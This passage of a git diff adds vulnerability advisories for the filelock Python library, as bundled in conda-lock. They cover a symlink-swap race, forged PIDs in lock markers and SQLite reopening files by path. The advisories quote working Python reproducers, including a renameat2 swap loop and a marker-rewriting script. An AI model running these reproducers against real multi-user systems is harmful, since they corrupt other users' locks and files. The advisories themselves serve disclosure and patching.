{stat.filemode(coordination.st_mode)}, owner uid {coordination.st_uid}\")\nprivate_before_attack = os.listdir(private)\nprint(f\"CONTROL private directory holds {private_before_attack}\")\n\n# attack: the attacker keeps exchanging work.lock.filelock with a symlink to the private directory\n# while the job keeps running; each run is one more chance to land between the check and the use\nswapper = subprocess.Popen([*attacker_swap_loop, f\"{shared}/work.lock\", private], **as_attacker)\njob_outcomes = collections.Counter()\nwhile job_outcomes.total() < 200 and not os.listdir(private):\n job = subprocess.run([*victim_job, f\"{shared}/work.lock\"], capture_output=True, text=True, **as_victim)\n job_outcomes[job.stdout.strip()] += 1\nassert swapper.poll() is None, \"the attacker's swap loop stopped on its own\"\nswapper.kill()\nswapper.wait()\n\n# check: the victim's lock created \"claims\" inside the directory the attacker could not write\nprint(f\"OBSERVED {job_outcomes.total()} runs of the job printed {dict(job_outcomes)}\")\nprint(f\"OBSERVED private directory holds {os.listdir(private)}\")\nredirected = False\nif os.path.lexists(f\"{private}/claims\"):\n claims = os.lstat(f\"{private}/claims\")\n print(f\"OBSERVED {private}/claims is {stat.filemode(claims.st_mode)}, owner uid {claims.st_uid} (victim is {victim_uid}), holds {os.listdir(f'{private}/claims')}\")\n redirected = stat.S_ISDIR(claims.st_mode) and claims.st_uid == victim_uid\nprint(\"BUG\" if private_before_attack == [] and redirected else \"OK\")\n```\n\n**`repro.d/attacker_swap_loop.py`**\n\n```python\nimport ctypes\nimport os\nimport sys\nimport time\n\nlock_path, target_directory = sys.argv[1], sys.argv[2]\ncoordination_directory = f\"{lock_path}.filelock\".encode()\nsymlink_to_target = f\"{lock_path}.decoy\".encode()\nos.symlink(target_directory, symlink_to_target)\n\nrenameat2 = ctypes.CDLL(None, use_errno=True).renameat2\nAT_FDCWD = -100\nRENAME_EXCHANGE = 2\ngive_up_at = time.monotonic() + 300\nwhile time.monotonic() < give_up_at:\n # one atomic syscall: the name always exists, as the victim's directory or as the symlink\n if renameat2(AT_FDCWD, coordination_directory, AT_FDCWD, symlink_to_target, RENAME_EXCHANGE) != 0:\n raise OSError(ctypes.get_errno(), \"renameat2(RENAME_EXCHANGE)\")\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import StrictSoftFileLock\n\ntry:\n with StrictSoftFileLock(sys.argv[1], timeout=1):\n print(\"job ran\")\nexcept OSError as error: # filelock.Timeout and SoftFileLockProtocolError are both OSError\n print(f\"job skipped: {type(error).__name__}\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant X as other local user\n participant N as work.lock.filelock (name in shared dir)\n participant V as job of the lock user (StrictSoftFileLock, timeout=1)\n participant T as /tmp/private (0700, lock user only)\n X->>N: plant work.lock.decoy -> T, loop renameat2(RENAME_EXCHANGE)\n rect rgb(207, 228, 255)\n V->>N: lstat work.lock.filelock: a real directory\n end\n rect rgb(255, 214, 214)\n X->>N: exchange lands: name is now the symbolic link to T\n V->>T: mkdir work.lock.filelock/claims creates T/claims (owned by the lock user)\n V->>T: scan, publish intent-v1-.claim, link held-v1-.claim in T/claims\n X->>N: exchange again: name is the directory\n V->>N: release(): unlink by path gets ENOENT, counted as removed\n Note over V,T: T/claims and its claim files stay behind#59; aimed at another lock's .filelock they block that lock\n end\n Note over V,N: a miss: lstat sees the symbolic link, SoftFileLockProtocolError, next run tries again\n```\n\n## Evidence\n\nThe scanner's reproducer (commit b831496, Linux 6.1 x86_64, CPython 3.14, `fs.protected_symlinks=1`) creates `/dev/shm/filelock-repro-shared` (`0777`, no sticky bit) and `/tmp/filelock-repro-private` (`0700`, owned by `victim`). Three controls run first. The other account's own `mkdir` in the private directory answers `Permission denied`. A link resting at `static.lock.filelock` gives `job skipped: SoftFileLockProtocolError` with the private directory holding `[]`. An undisturbed job prints `job ran` and leaves `work.lock.filelock` as `drwxr-xr-x`, owner uid 1000.\n\nThen the swap loop starts and the job (`with StrictSoftFileLock(path, timeout=1)`) runs up to 200 times until the private directory is no longer empty. That took 1 to 8 runs, about 1.5 s in total. Afterwards `claims`, a directory owned by uid 1000 and mode `0755`, is in the private directory; in some runs it holds `intent-v1-.claim` and `held-v1-.claim` files. Verdict `BUG`. In a `1777` directory on tmpfs (a memory-backed filesystem), with the other account having created `.filelock` first, the lock user created `T/claims` after 4, 22 and 2 runs in three trials. The scanner ran the four further cases under Mechanism in separate runs with the same accounts.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`: all 200 runs completed with the private directory empty). The review's regression tests on POSIX cover the `claims`-level swap and the `force_break()` case. We did not verify Windows.\n\n## Impact\n\nAnother local user who can rename `.filelock` makes the lock user's process create a directory named `claims`, mode `0777 & ~umask` (umask: the process's default permission mask), inside any directory that process can write, and leave claim files in it. The other user chooses the location only. filelock fixes the directory name, and the files contain filelock's own claim record (magic, token, PID, host name, start token). The process overwrites or truncates nothing that exists. This amounts to directory and file creation outside the lock's directory with the lock user's privileges, not a write of chosen data.\n\nWhere the chosen directory already has a `claims` subdirectory, the lock user's process also scans it, unlinks entries named like stale private records, and raises an error that quotes the first other file name in it. Aimed at another strict lock's `.filelock` directory, the stranded claims deny that lock to every process until an operator finds and `force_break()`s each one. Without this the other user has no way to affect a lock in a directory it cannot enter. The swap at `claims` leaves one-byte `0600` dot-files instead of claims.\n\nThrough `claims`, another user learns one file name per planted link from a directory only the lock user can list, and whether a guessed path is missing or empty, a file or a directory. This needs the exception text or its `claim_name` to reach that user (a shared log, CI output, an error report); on its own this disclosure is minor. The `force_break()` variant puts two processes inside a different strict lock's critical section, one the other user can neither list nor write, with neither told. That happens only when the lock user runs the tutorial's blind recovery loop.\n\nThis shares only the bug class with GHSA-j8f7-rjxc-mr56 (the symbolic link at the `ReadWriteLock` database path, fixed in 4.0.9). There the other user chose the file the lock opened. Here the link sits one component above the final one, the other user swaps it in after the check that refuses it, and it chooses only the parent directory.\n\n## Workarounds\n\nKeep strict locks in a directory no other user can write. In a sticky shared directory, create `.filelock` as the service user before any other account can, and check its owner before first use. Do not run the recovery loop from `docs/tutorials.rst` on a lock in a shared directory without first verifying, as `docs/how-to.rst` says, that the owner named in each claim is gone. Treat an unexpected `SoftFileLockProtocolError` that quotes an unknown claim name as a sign that `claims` may point elsewhere. Keep the exception text of `claims` out of logs other accounts can read. On Windows, keep the lock directory writable only by trusted users.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SVFEYX89`, scanned commit b831496b0273)\n- 2026-10-16 01:31 UTC: fix PR #839 opened\n- 2026-10-16 05:41 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-m462-7rxw-wvpg" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/839" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-112939.json b/advisories/BREW-conda-lock-CVE-2026-112939.json new file mode 100644 index 00000000000..6e0f1b5b4f0 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-112939.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-112939", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-rfpc-qcw5-3pc4", + "CVE-2026-112939" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0_3" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@3.32.7" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "3.32.7", + "key": "pkg:pypi/filelock@3.32.7", + "resource": "filelock" + } + ] + }, + "summary": "filelock: SoftFileLock removes a live holder's marker when another user forges the PID in a writable marker", + "details": "`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants and a `FileLock` that has fallen back to a soft lock on `ENOSYS` decide from the record inside the marker file whether its owner is gone. The marker is the file whose presence says a process holds the lock. They do not check who could have written that record.\n\nA local user who can write the marker but cannot remove it rewrites the holder's record to name a dead PID (process id). That position arises with an explicit `mode` with group or other write bits, or the default mode under a lax umask (the process setting that strips permission bits from new files), in a sticky or otherwise non-removable directory. The sticky bit is a directory flag that lets only a file's owner remove or rename it. The next contender running as the holder's account, or root, judges the lock stale, removes the live marker on that user's behalf and acquires it. Two processes then run the critical section together and neither gets an error. Affected versions are filelock 3.22.0 through 4.2.0 (finding `ANT-2026-W1H9NXUH`).\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N` scores 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the marker must carry group or other write bits (an explicit permissive `mode`, or umask `002`/`000` with a shared group), and a contender of the holder's account must ask for the lock while the forged record is in place. `I:H` (high integrity impact): two holders then write whatever the lock protects, and the holder is not told. `C:N` and `A:N` (no confidentiality or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on another user being able to write the live marker. The scanner rated it high (CWE-345). The default mode under umask `022` is not affected.\n\n## Scope and preconditions\n\n- The other user can write the marker. The application passes a `mode` with group or other write bits, which `fchmod` applies as given since 4.1.0. `0o666` is a common choice for a lock shared between accounts, although a soft-lock contender of another account waits as well on a `0o644` marker, since contenders only read and rename. Or the application uses the default mode (`0o666` through the umask) under umask `002` in a directory whose group the other user belongs to, or under umask `000`. The default mode under umask `022` is not affected.\n- The other user cannot remove the marker itself: the directory is sticky, or the other user cannot write it at all (a `0755` directory owned by the lock's user gives the same overlap). In a non-sticky shared directory the other user can unlink the marker without filelock, and filelock adds nothing.\n- A contender that may rename the marker asks for the lock: another process of the holder's account (several workers of one user) or root. A contender of another unprivileged account cannot rename the marker in a sticky directory and times out.\n- The finding reaches every class that publishes a soft marker: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants, and `FileLock(mode=0o666)` on a filesystem where `flock` (a kernel lock on an open file) fails with `ENOSYS`.\n\nThese protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n\n## Affected code\n\nAt the scanned commit b831496: the create mode in [`SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L67-L71), the explicit-mode `fchmod` in [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L100-L105), the trusting verdict in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) and the [`owner_is_stale`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_identity.py#L64-L79) it relies on; the same call in [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256).\n\n## Introduced\n\nThe stale verdict that trusts the record came in with e35c3afac473 (\"feat(soft): detect and break stale locks\", #476, 2026-02-13), first released in 3.22.0. From then on a marker left group- or other-writable by the umask is forgeable. The reproducer's exact configuration, an explicit `mode=0o666` under umask `022`, needs 66d309d (\"fix(soft): honour mode and tighten marker grammar\", #807), first released in 4.1.0. Both match the git tags.\n\n## Mechanism\n\nA contender whose `O_CREAT | O_EXCL` create fails with `EEXIST` goes to `_try_break_stale_lock`. `_read_lock_file` makes sure the path is a regular file (`lstat`, `O_NOFOLLOW` open, `fstat`) and returns its content, mtime and inode (the kernel's identity for a file, independent of its name). It has the `fstat` result in hand but does not look at `st_uid` or `st_mode`. The code parses the content into `pid`, `hostname` and start token and hands them to `owner_is_stale`, whose docstring promises to return `True` \"only when this process can prove the exact recorded owner is dead\". That proof holds only if the owner wrote the record. A process of another account that can open the marker for writing uses `O_WRONLY | O_TRUNC` (no `O_CREAT`, so `fs.protected_regular` does not block it) and writes `2147483647\\n\\n`, keeping the host line. The host matches, PID 2147483647 does not exist, and `owner_is_stale` returns `True`.\n\n`break_lock_file` renames the marker to `.break..` and unlinks it. Its mtime and inode guard compares against what the contender read after the rewrite, so it passes. The contender, which runs as the marker's owner, does the rename, so the sticky bit allows it. On the next poll the contender's `O_EXCL` create succeeds. The first holder is not told: `SoftFileLock` has no heartbeat, and on release `_unlink_open_marker` finds another inode or no file at the path and returns without an error.\n\nOther records lead to the same break, each run by the scanner the same way: the holder's own PID and host with a different third line (`owner_is_stale` reads a live PID with another start token as a recycled PID); an empty file (malformed, broken after `MALFORMED_LOCK_AGE_THRESHOLD`, 2 s). `MarkerSoftFileLock` and `SoftFileLease` apply `owner_is_stale` to the `pid=`, `host=` and `start=` fields of a protocol 2 record, and rewriting `pid=` admitted a second process for both. A `SoftFileLease` holder learns of it at its next heartbeat through `on_compromise`; `SoftFileLock` and `MarkerSoftFileLock` holders do not learn of it at all.\n\nThe marker becomes writable by another account in two ways. An explicit `mode` with group or other write bits goes through `fchmod`, so the umask does not narrow it (`test_lock_mode_soft` at the scanned commit pins `-rw-rw-rw-` under umask `022`). The default mode passes `0o666` to `os.open`, so under umask `002` the marker is `0o664`. With no `mode` argument, in a setgid and sticky group directory (`3770`), a second member of the group rewrote the marker and a second process of the holder's user acquired the same way. Under umask `000` the marker is `0o666` and any local user can rewrite it. `FileLock(mode=0o666)` on a filesystem where `flock` fails with `ENOSYS` falls back to `SoftFileLock` and produces the same `-rw-rw-rw-` marker (confirmed with `fcntl.flock` replaced by a stub raising `ENOSYS`). With `mode=0o644`, or no `mode` under umask `022`, the other user's open fails with `EACCES` and the second process times out.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-W1H9NXUH`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nimport time\n\n# root bypasses file permissions, so each party runs as one of the image's unprivileged accounts\nAS_VICTIM = [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable]\nAS_ATTACKER = [\"runuser\", \"-u\", \"attacker\", \"--\"]\nWORKER = \"/tmp/repro.d/worker.py\"\nREWRITE_MARKER = \"/tmp/repro.d/rewrite_marker.py\"\n\n# set up: a sticky, world-writable directory like /tmp; both workers print \"entered\" / \"left\" into one shared log\nshared_dir = tempfile.mkdtemp(prefix=\"shared-\", dir=\"/tmp\")\nos.chmod(shared_dir, 0o1777)\nlock_path = os.path.join(shared_dir, \"cache.lock\")\nlog_path = os.path.join(shared_dir, \"order.log\")\nlog = open(log_path, \"w\")\n\nfirst = subprocess.Popen([*AS_VICTIM, WORKER, lock_path, \"first\", \"6\"], stdout=log)\nwhile \"first entered\" not in open(log_path).read():\n assert first.poll() is None, \"the first worker did not get the lock\"\n time.sleep(0.05)\n\nmarker = os.stat(lock_path)\nprint(\"marker:\", stat.filemode(marker.st_mode), pwd.getpwuid(marker.st_uid).pw_name, repr(open(lock_path).read()))\n\n# before the attack: the second worker times out, and the attacker cannot delete the marker from the sticky directory\nsecond_before = subprocess.run([*AS_VICTIM, WORKER, lock_path, \"second\", \"0.5\"], stdout=log, stderr=subprocess.PIPE, text=True)\nprint(\"second worker:\", second_before.stderr.splitlines()[-1])\nassert \"Timeout\" in second_before.stderr\nrm = subprocess.run([*AS_ATTACKER, \"rm\", \"-f\", lock_path], capture_output=True, text=True)\nprint(\"attacker:\", rm.stderr.strip())\nassert rm.returncode != 0\n\n# attack: no check=True, because under a fix the marker is not writable by others, and then this step fails\nsubprocess.run([*AS_ATTACKER, sys.executable, REWRITE_MARKER, lock_path])\nprint(\"marker after the attack:\", repr(open(lock_path).read()))\n\n# the second worker tries again, exactly as before\nsubprocess.run([*AS_VICTIM, WORKER, lock_path, \"second\", \"0.5\"], stdout=log)\nprint(\"first worker exit status:\", first.wait())\n\n# check: a correct lock keeps the second worker out until the first has left\norder = open(log_path).read().splitlines()\nprint(\"order:\", order)\nshutil.rmtree(shared_dir)\nprint(\"BUG\" if order == [\"first entered\", \"second entered\", \"second left\", \"first left\"] else \"OK\")\n```\n\n**`repro.d/rewrite_marker.py`**\n\n```python\n#!/usr/bin/env python3\n# The attacker, another account: overwrite the live holder's record in place with one naming a PID that cannot exist.\nimport os\nimport sys\n\nlock_path = sys.argv[1]\nNO_SUCH_PID = 2**31 - 1 # the largest PID the marker parser accepts; Linux pid_max is at most 2**22\n\nholder_host = open(lock_path).read().splitlines()[1] # owner_is_stale only judges records from its own host\nmarker = os.open(lock_path, os.O_WRONLY | os.O_TRUNC) # no O_CREAT, so fs.protected_regular does not refuse it\nos.write(marker, f\"{NO_SUCH_PID}\\n{holder_host}\\n\".encode())\nos.close(marker)\n```\n\n**`repro.d/worker.py`**\n\n```python\n#!/usr/bin/env python3\n# One of several workers of the victim's application; they take turns under a soft lock in a shared directory.\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, name, work_seconds = sys.argv[1], sys.argv[2], float(sys.argv[3])\n\n# mode=0o666 so that the lock file can be used from several accounts\nwith SoftFileLock(lock_path, mode=0o666, timeout=1):\n print(name, \"entered\", flush=True)\n time.sleep(work_seconds)\n print(name, \"left\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant H as holder (uid victim)\n participant M as cache.lock (0666, owner victim, sticky dir)\n participant A as other account (uid attacker)\n participant C as contender (uid victim)\n H->>M: O_CREAT|O_EXCL create, fchmod 0o666, write \"pid host token\"\n C->>M: O_EXCL fails, read record: holder alive, Timeout\n A->>M: rm: EPERM (sticky directory)\n rect rgb(255, 214, 214)\n A->>M: open O_WRONLY|O_TRUNC, write \"2147483647 host\"\n C->>M: read record, owner_is_stale: PID 2147483647 is dead\n C->>M: rename to cache.lock.break.*, unlink (the owner may)\n C->>C: next poll: O_EXCL succeeds, enters beside H\n Note over H,C: both inside, no error, H's release finds another inode and returns\n end\n```\n\n## Evidence\n\nThe scanner's reproducer runs two `victim` workers on `with SoftFileLock(path, mode=0o666, timeout=1):` in a root-owned `1777` directory under `/tmp` (overlayfs, `fs.protected_regular=2`), with `attacker` uid 1001 sharing no group with `victim`. It printed the marker as `-rw-rw-rw- victim '\\n\\n\\n'`, the second worker's `Timeout`, `rm: cannot remove ...: Operation not permitted` for `attacker`, the marker after the rewrite as `'2147483647\\n\\n'`, first worker exit status 0, and the log order `['first entered', 'second entered', 'second left', 'first left']`. The second worker entered and left while the first was still inside its `with` block, about 50 ms after the rewrite, on its second poll. It prints `BUG` every time, in about 6 s. Our review ran the same reproducer: `BUG` on 4.2.0, `OK` on the head of #836. The review also tried umask `000` with the default mode.\n\n## Impact\n\nA local user who can write a soft lock's marker but cannot remove it gets a second process admitted into the critical section while the first holder is still inside. With no `lifetime` set, `SoftFileLock` and `MarkerSoftFileLock` give neither process a signal. Whatever the lock protects (a cache, an install directory, a state file) then has two concurrent writers. The other user chooses the moment and gains nothing else: it touches no file other than the marker. The process that rewrites the record runs under a different UID from the holder; the same-UID contender only follows the protocol.\n\n## Workarounds\n\nDo not give soft markers group or other write bits: pass no `mode` (or `mode=0o644`) under umask `022`. A soft-lock contender of another account waits as well on a `0o644` marker, because contenders only read and rename. The write bits matter only for the native `flock` lock and for `FileLock`'s first open before it falls back to a soft lock. Avoid umask `002` or `000` for processes that take soft locks in directories shared with other accounts, and keep lock files in a directory other users cannot write.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/836\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-W1H9NXUH`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory\n- 2026-10-16 01:16 UTC: fix PR #836 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-rfpc-qcw5-3pc4" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112939" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/836" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/eeceaa846cbe4df72718d94c8371ca1ab8f5b3cc" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-112940.json b/advisories/BREW-conda-lock-CVE-2026-112940.json new file mode 100644 index 00000000000..cabf628de32 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-112940.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-112940", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-v4x8-3wr5-3wq8", + "CVE-2026-112940" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0_3" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@3.32.7" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "3.32.7", + "key": "pkg:pypi/filelock@3.32.7", + "resource": "filelock" + } + ] + }, + "summary": "filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files", + "details": "`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/`, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.\n\nAnother local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`.\n- Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty `-wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`.\n- Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.\n- Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under \"Mechanism\", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_connect_through_descriptor` builds `/proc/self/fd/` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), \"Descriptor paths reopen the validated inode\" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at [`PRAGMA journal_mode=MEMORY`, line 816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). The check in [`_raise_if_database_replaced` at line 836](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L836) runs only after `BEGIN`. Both [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029).\n\n## Introduced\n\nThe `/proc/self/fd` redirect came with `4d45e83` (\"Merge commit from fork\", the fix for GHSA-j8f7-rjxc-mr56), first released in **4.0.9** (verified: `git tag --contains 4d45e83` gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\"), first released in **3.20.4** (verified), which passed the lock path straight to `sqlite3.connect`.\n\n## Mechanism\n\nOn Linux the lock opens the database with `O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK`. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls `sqlite3.connect(\"/proc/self/fd/\")` and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs `readlink()` on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows `readlink(\"/proc/534/fd/3\") = \"/tmp/benign/app.lock.db\"` and then a second `openat` of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is ` (deleted)`. A symlink with that exact name sends SQLite wherever its creator chose.\n\nThe other user prepares the directory before the lock user runs. They create a database 